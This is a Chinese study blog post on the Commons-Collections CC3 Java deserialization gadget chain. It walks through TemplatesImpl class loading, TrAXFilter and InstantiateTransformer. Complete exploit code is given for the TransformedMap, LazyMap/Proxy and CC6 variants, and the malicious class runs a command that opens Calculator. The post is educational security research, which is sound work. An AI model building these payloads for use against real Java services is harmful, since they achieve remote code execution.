前言
相比CC1和CC6利用Runtime.exec(),,但是很多服务器会给Runtime设置黑名单,所以CC3使用的是类加载机制,通过加载一个恶意的类来实现恶意代码执行
环境
- jdk8u65
- Commons-Collections 3.2.1
TemplatesImpl的利用
前面学类加载的时候就了解到,大多数情况下defineClass的作用域是不开放的,但是找到一个类TemplatesImpl里的作用域是default,利用路线是
1 2 3 4
| TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
现在按照之前的方法,写一个Calc类,通过TemplatesImpl
实现类加载,看看效果,现在的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com;
import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("Calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
结合上一篇文章的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); }
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object,fieldValue); }
|
这个时候运行起来,遇到了报错,出现在newTransformer()那里,也是TemplatesImpl这个类里面的422行

解决报错
进入到代码,在前面一个地方打个断点

前面defineClass()其实已经加载好了,来到后面有一个判断

判断在前面defineClass()
方法中传进去的参数b数组的字节码是否继承了ABSTRACT_TRANSLET
这个父类,如果没有,则给_auxClasse
赋值put,此时在调试台中看变量可以发现这个_auxClasse
是null,还没被初始化,所以put会失败
目前看起来有两种解决方法:
- 让父类继承
ABSTRACT_TRANSLET
- 让
_auxClasse
不是null
但是要关注到后面的代码还有一个判断

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1,也不得行,还会报错
所以我们的解决方案还是让父类继承ABSTRACT_TRANSLET
现在把恶意类改成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
再重新建构,执行前面的代码,这样就能正常弹计算机了
结合TemplatesImpl的CC1和CC6
CC1
回顾一下之前的CC1,最后是用transform()
触发,现在尝试直接调用看看可不可行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null); }
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object,fieldValue); } }
|
前面已经把我们要传的参数templates用new ConstantTransformer(templates)
定义了,后面直接用transform的时候随便传参就好了
接下来引入反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","Flow"); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformerMap);
serialize(o); unserialize("ser.bin"); }
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object,fieldValue); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
这样就能执行成功
CC6
原理和上面差不多,直接贴出代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object,Object>(); Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"bbb"); decorateMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
serialize(expMap); unserialize("ser.bin"); }
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object,fieldValue); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
CC3本身
我们是通过TemplatesImpl.newTransformer()
加载恶意类,查找用法看看哪里有用到newTransformer(),一共有四个地方,最后选择了TrAXFilter
这个类,因为:
- 有一个在Process里面的main,调用不了
- 有两个在
TransformerFactoryImpl
,但是这个类不能反序列化,如果还要传参数的话就要看他构造函数有没有操作空间,结果这个类的构造函数没有什么,很难传

- 最后找到
TrAXFilter
,这个也不能序列化,不过他的构造函数内容多多了

而且里面直接调用了(TransformerImpl) templates.newTransformer()
,非常适合,直接接上前面的内容就可以实现恶意代码执行
这次CC3链子没有用到InstantiateTransformer
,而是InstantiateTransformer
他的构造函数参数够多,而且看到他的transform(),完全符合我们的需求

EXP构造

对于InstantiateTransformer
的构造函数,我们就这么写,对应上TrAXFilter
1
| new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
|
先直接调用transform()
1 2
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
这样可以执行,现在套上cc1的内容,为了顺利执行传入TrAXFilter.class
这个参数,还是要用到ChainedTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap(); hashMap.put("value","flow"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap);
serialize(o); unserialize("ser.bin"); } }
|
这样是能成功执行的,按这个套路套入LazyMap版本的和CC6,都成功了
LazyMap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1); InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler2); unserialize("ser.bin");
}
|
CC6:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object,Object>(); Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"bbb"); decorateMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
serialize(expMap); unserialize("ser.bin"); }
|
最后
算是学习了一种新的方式,再结合之前的知识凑来凑去又是新的链子,还是要经常回顾之前的内容,过程中也意识到知识不是很扎实,也是一个查漏补缺的过程吧。
参考
b站:白日梦组长
https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE
https://www.cnblogs.com/1vxyz/p/17458691.html